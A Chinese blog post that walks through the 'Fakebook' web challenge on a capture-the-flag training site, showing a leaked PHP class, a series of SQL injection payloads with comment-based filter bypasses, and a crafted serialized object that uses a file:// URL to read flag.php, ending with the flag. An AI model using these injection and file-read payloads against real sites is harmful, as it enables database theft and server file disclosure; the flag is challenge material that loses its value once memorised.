• 攻防世界WEB练习-Fakebook


    前言

    作者简介:不知名白帽,网络安全学习者。

    博客主页:https://blog.csdn.net/m0_63127854?type=blog

    攻防世界专栏:https://blog.csdn.net/m0_63127854/category_11983747.html

    网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan

    目录

    题目场景

    访问robots.txt

    下载文件并查看

    尝试进行注册

    尝试SQL注入

    猜测字段

    查询数据库名

    查询表名

    查询段名

    查看data数据

    扫描目录

    读取文件

    查看源码

    base64解码

    提取flag


    题目场景

    访问robots.txt

    下载文件并查看

    1. class UserInfo
    2. {
    3. public $name = "";
    4. public $age = 0;
    5. public $blog = "";
    6. public function __construct($name, $age, $blog)
    7. {
    8. $this->name = $name;
    9. $this->age = (int)$age;
    10. $this->blog = $blog;
    11. }
    12. function get($url)
    13. {
    14. $ch = curl_init();
    15. //curl_init : 初始化一个cURL会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。
    16. curl_setopt($ch, CURLOPT_URL, $url);
    17. //curl_setopt : 请求一个url。其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。
    18. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    19. //CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
    20. $output = curl_exec($ch);
    21. //curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。
    22. $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    23. if($httpCode == 404) {
    24. return 404;
    25. //CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。
    26. //curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。
    27. 如果状态码不是404,就返回exec的结果。
    28. }
    29. curl_close($ch);
    30. return $output;
    31. }
    32. public function getBlogContents ()
    33. {
    34. return $this->get($this->blog);
    35. }
    36. public function isValidBlog ()
    37. {
    38. $blog = $this->blog;
    39. return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    40. //正则匹配,在blog中要匹配到https://
    41. }
    42. }

    尝试进行注册

    注册成功

    发现username的1是蓝色的,可以弹出新的界面

    根据url发现有一个?no=1,尝试进行sql注入

    尝试SQL注入

    尝试注入?no=1 and 1=1和?no=1 and 1=2

    报错,存在sql注入

    猜测字段

    从?no=1 order by 1开始猜测

    从?no=1 order by 5报错,所以有4个字段

    查询数据库名

    ?no=1 union select 1,2,3,4-- -

    发现存在拦截,尝试进行绕过

    ?no=-1 union all select 1,2,3,4-- -

    ?no=-1 union/**/select/**/1,2,3,4-- -

    发现2是回显点

    这时查询一下数据库名

    ?no=-1 union all select 1,database(),3,4-- -

    查询表名

    ?no=-1 union all select 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema="fakebook"-- -

    查询段名

    ?no=-1 union all select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_name="users"-- -

    ?no=-1 union all select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"-- -

    查看data数据

    ?no=-1 union all select 1,group_concat(data) ,3,4 from users-- -

    发现数据已经被序列化

    扫描目录

    发现var/www/html/flag.php文件

    读取文件

    采用构造file协议去读取/var/www/html/flag.php的内容

    ?no=-1 union all select 1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'-- -

    查看源码

    base64解码

    提取flag

    flag = "flag{c1e552fdf77049fabf65168f22f7aeab}"

  • 相关阅读:
    win7 virtualbox使用vagrant下载centos/7
    MySQL高级篇——事务
    Nginx+Keepalived
    【OpenCV】图像上绘制文字cv2.putText()函数用法,添加倾斜透明水印
    学习教授LLM逻辑推理11.19
    halcon使用算子记录
    【迁移学习】
    详解synchronized关键字及锁的基本概念
    CSS的break-inside 属性 的使用
    华为OD 社招(Java后端)一面
  • 原文地址:https://blog.csdn.net/m0_63127854/article/details/126575532